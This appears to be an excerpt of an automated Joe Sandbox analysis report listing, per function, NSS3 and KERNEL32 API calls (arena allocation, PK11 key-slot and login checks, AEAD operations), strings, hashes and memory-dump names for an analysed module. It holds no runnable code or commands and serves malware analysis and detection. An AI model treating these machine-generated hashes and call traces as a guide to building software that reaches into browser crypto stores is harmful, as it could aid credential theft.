Opcode ID: 70030ccdbe57c3946aeefd5ec5294e5e56f366ce0011e6c6c17678e013476778
Instruction ID: ad0170fad3c46972280942d74cc039b0a55626b80dde4b019c64fc89977eb927
Opcode Fuzzy Hash: 70030ccdbe57c3946aeefd5ec5294e5e56f366ce0011e6c6c17678e013476778
Instruction Fuzzy Hash: 4121F875A04104ABDB009E2BDC44F9B37A9EF46369F144165FD1887F11E730D954C7EA

Function 6C68CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C68CD93,?), ref: 6C68CEEE

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C68CD93,?), ref: 6C68CEFC

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C68CD93,?), ref: 6C68CF0B

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C68CD93,?), ref: 6C68CF1D

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C68CD93,?,?,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF78

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: deb9eec5a50a1059c9f20aa298a14e69f739689f68bd3153e551b459d853b6a1
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 0811E7B1E022046BFB10AA667C41B6B75EC9F4974DF104139EC0AD7741FB60D90886BA

Function 6C638C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C638C1B
EnterCriticalSection.KERNEL32 ref: 6C638C34
PL_ArenaAllocate.NSS3 ref: 6C638C65
PR_Unlock.NSS3 ref: 6C638C9C
PR_Unlock.NSS3 ref: 6C638CB6

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

Strings

KRAM, xrefs: 6C638C8F

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 6e4a75a9868956ae59bca00a510575fb25b0293953c11c510dd85bf3d8860fff
Instruction ID: a815c7eb56338e56bbc3183025e6676c79f4b2c40908027420f8348e71f2e3bc
Opcode Fuzzy Hash: 6e4a75a9868956ae59bca00a510575fb25b0293953c11c510dd85bf3d8860fff
Instruction Fuzzy Hash: 242156B1A056118FD700AF78C484599B7F4FF49304F15A96ED888CB721DB35D885CF9A

Function 6C648E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C), ref: 6C648EA2

Part of subcall function 6C66F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C66F854
Part of subcall function 6C66F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C66F868
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C66F882
Part of subcall function 6C66F820: free.MOZGLUE(04C483FF,?,?), ref: 6C66F889
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C66F8A4
Part of subcall function 6C66F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C66F8AB
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C66F8C9
Part of subcall function 6C66F820: free.MOZGLUE(280F10EC,?,?), ref: 6C66F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C), ref: 6C648EC3
TlsGetValue.KERNEL32(?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C), ref: 6C648EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C648EF1
PR_Unlock.NSS3 ref: 6C648F20

Strings

b.fl, xrefs: 6C648E96, 6C648F25

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.fl
API String ID: 1978757487-4112214572
Opcode ID: a7f6328196c06331ccbbf34d5f954c71974eb950bcaaca039138bbdfc230d1e9
Instruction ID: 262b6fb66c7b5e4ad539f72c5bfa7ea6b7f1412f05478dc1a2eb514a62489b25
Opcode Fuzzy Hash: a7f6328196c06331ccbbf34d5f954c71974eb950bcaaca039138bbdfc230d1e9
Instruction Fuzzy Hash: F0216B70A097059BC700AF29D184699BBF4FF49358F01856EE898DBB50D730E854CBDA

Function 6C6B3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PR_EnterMonitor.NSS3(?), ref: 6C6B3E45

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

PR_EnterMonitor.NSS3(?), ref: 6C6B3E5C
PR_EnterMonitor.NSS3(?), ref: 6C6B3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6B3EA6

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_ExitMonitor.NSS3(?), ref: 6C6B3EC0
PR_ExitMonitor.NSS3(?), ref: 6C6B3ED7
PR_ExitMonitor.NSS3(?), ref: 6C6B3EEE

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 5bc18e28123c74249c19edfd2bb8b2929aecec09f8ff55571fdeab92547825c8
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: AC1169B1615600ABD6315E29FC027C776619F4531CF400837F55956A21EA36E93BC74E

Function 6C732C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C732CA0
PR_ExitMonitor.NSS3 ref: 6C732CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C732CD1
strdup.MOZGLUE(?), ref: 6C732CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C732D27

Strings

Loaded library %s (static lib), xrefs: 6C732D22

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: af7d779495892867a0f1fc3c9ba4ab8a26cf33ee7e90655a158b7f3253066261
Instruction ID: 56f84048684db3e74218dab4aef6e6be26883f57d961bba387458a9e064674ef
Opcode Fuzzy Hash: af7d779495892867a0f1fc3c9ba4ab8a26cf33ee7e90655a158b7f3253066261
Instruction Fuzzy Hash: FE1193B17062609BEB018F15D9496A677B4AB8631EF24813DD95DC7B43DB31D808CBE1

Function 6C62BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62BDCA

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C62BDDB

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C62BDEC

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C62BE03

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62BE3B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 688085e03d26fc61e0a26b1c6ba54a06508803dfbda23ac33ac2421e8acace33
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 9701FE65B4121176F71012667C01FA7654CCFD27CDF140030FF1696B82FB59E51A86BE

Function 6C680FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B
TlsGetValue.KERNEL32(00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681044
free.MOZGLUE(00000000,?,00000800,6C61EF74,00000000), ref: 6C681064

Strings

security, xrefs: 6C681025

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: d63ab862d2b92607297cd74e172a353170aa1ae8d8a38219087a79b9049b9107
Instruction ID: 0ad40f94b6c2a2b40ccb5a592c3a7072dd29388837b5d4c928dd49ca28600ad0
Opcode Fuzzy Hash: d63ab862d2b92607297cd74e172a353170aa1ae8d8a38219087a79b9049b9107
Instruction Fuzzy Hash: A7014470A422549BEB212F2C9C04B963A68BF0778AF010536E92896A61EF60C154DBF9

Function 6C6B1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6B1C74

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C6B1C92
free.MOZGLUE(?), ref: 6C6B1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C6B1CCB
free.MOZGLUE(?), ref: 6C6B1CD2

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 0103fffa8d7982e87c34583c8bcee3b648949976c55d3750d80b173d83bc4365
Instruction ID: a8f6493c12233244ba2db9976f3e1fb1e0556a5c39fad3cf77bba7dde1b65e6b
Opcode Fuzzy Hash: 0103fffa8d7982e87c34583c8bcee3b648949976c55d3750d80b173d83bc4365
Instruction Fuzzy Hash: E901B9B1F066246FDF11AFA49D0D74577B4AB0B71BF200135EA0AB2B40D739A115C79A

Function 6C6C2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6C3046

Part of subcall function 6C6AEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6AEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C697FFB), ref: 6C6C312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6C3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6C2E8B

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

Part of subcall function 6C6AF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C699BFF,?,00000000,00000000), ref: 6C6AF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C697FFA), ref: 6C6C2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C317B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 8a5890596f2a01ef8486d6ec1c6c06634776496d1bfa4420f200e73b156e53ab
Instruction ID: b17ec9d1520dff68826557902f4af7afd8fce9b9affcf7130c106abd9fd89f21
Opcode Fuzzy Hash: 8a5890596f2a01ef8486d6ec1c6c06634776496d1bfa4420f200e73b156e53ab
Instruction Fuzzy Hash: C0A1AE71A002189FDB24CF54CC84BEAB7B5EF49308F148199ED4967781E731AD85CFA6

Function 6C68ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C68ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C68EDCE

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

free.MOZGLUE(00000000,?,?,?,?,6C68B04F), ref: 6C68EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C68EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C68EEFB

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: c977bc0871691b5080ff74c2a542d334b082bfbce55b06ebe912e34c5043737c
Instruction ID: 7fd4916c62e3978b06d99fe4d4106a8228c06c6f84e74e4cb4adaab6427b1695
Opcode Fuzzy Hash: c977bc0871691b5080ff74c2a542d334b082bfbce55b06ebe912e34c5043737c
Instruction Fuzzy Hash: 3D819DB9A022059FEB10CF55CC84BAB77F5BF89308F144428E9259BB51DB30E805CBB9

Function 6C68CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C68DAE2,?), ref: 6C68C6C2

PR_Now.NSS3 ref: 6C68CD35

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

Part of subcall function 6C676C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C3F

PR_GetCurrentThread.NSS3 ref: 6C68CD54

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

Part of subcall function 6C677260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C621CCC,00000000,00000000,?,?), ref: 6C67729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C68CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C68CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C68CE2C

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C68CE40

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

Part of subcall function 6C68CEE0: PORT_ArenaMark_Util.NSS3(?,6C68CD93,?), ref: 6C68CEEE
Part of subcall function 6C68CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C68CD93,?), ref: 6C68CEFC
Part of subcall function 6C68CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C68CD93,?), ref: 6C68CF0B
Part of subcall function 6C68CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C68CD93,?), ref: 6C68CF1D

Part of subcall function 6C68CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF47
Part of subcall function 6C68CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF67
Part of subcall function 6C68CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C68CD93,?,?,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF78

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
